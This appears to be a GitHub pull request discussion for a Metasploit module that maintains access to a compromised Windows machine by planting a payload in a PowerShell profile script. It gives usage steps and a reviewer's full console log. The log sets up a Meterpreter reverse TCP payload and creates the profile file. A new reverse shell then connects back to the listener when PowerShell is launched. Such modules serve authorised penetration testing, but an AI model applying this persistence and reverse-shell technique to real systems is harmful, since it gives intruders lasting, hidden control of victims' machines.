Windows Persistence: Powershell Profile

[madefourit]

This module establishes persistence by modifying a PowerShell profile script, which is automatically
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.

Verification

1. Start msfconsole
2. Get a shell on Windows
3. Do: use exploit/windows/persistence/powershell_profile
4. Do: set payload [payload]
5. Do: set session #
6. Do: run

You should get a shell when powershell is opened on the target machine.

[dledda-r7]

msf exploit(windows/persistence/powershell_profile) > show options

Module options (exploit/windows/persistence/powershell_profile):

   Name             Current Setting         Required  Description
   ----             ---------------         --------  -----------
   CREATE           true                    no        If a profile file doesnt exist, create one.
   EXECUTIONPOLICY  true                    no        Attempt to update execution policy to execute .
   PROFILE          CURRENTUSERCURRENTHOST  yes       The powershell profile to target. (Accepted: AUTO, ALLUSERSALLHOSTS, ALLUSERSCURRENTHOST, CURRENTUSERALLHOSTS, CURRENTUSERCURRENTHOST)
   SESSION          1                       yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.3.10     yes       The listen address (an interface may be specified)
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto



View the full module info with the info, or info -d command.

msf exploit(windows/persistence/powershell_profile) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/powershell_profile) > 
[*] Started reverse TCP handler on 192.168.3.10:4455 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Powershell is installed and exploitable on the target system
[*] C:\Users\msfuser\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 does not exist, creating it...
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN11_22H2_0800_20260414.4633/WIN11_22H2_0800_20260414.4633.rc
msf exploit(windows/persistence/powershell_profile) > sessions -i 1 -C "execute -f powershell.exe"
[*] Running 'execute -f powershell.exe' on meterpreter session 1 (10.5.132.111)
Process 7844 created.
msf exploit(windows/persistence/powershell_profile) > 
[*] Sending stage (232006 bytes) to 10.5.132.111
[*] Meterpreter session 3 opened (192.168.3.10:4455 -> 10.5.132.111:62521) at 2026-04-14 08:48:17 -0400

msf exploit(windows/persistence/powershell_profile) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  1         meterpreter x64/windows  WIN11_22H2_0800\msfuser @ WIN11_22H2_0800  192.168.3.10:4445 -> 10.5.132.111:54173 (10.5.132.111)
  3         meterpreter x64/windows  WIN11_22H2_0800\msfuser @ WIN11_22H2_0800  192.168.3.10:4455 -> 10.5.132.111:62521 (10.5.132.111)

msf exploit(windows/persistence/powershell_profile) > 

[dledda-r7]

Hello @madefourit thank you for this PR, Would it be possible for you to rebase it to the current upstream/master ? thanks!

[dledda-r7]

Release Notes

This add a new persistence module that uses powershell profiles to mantain access.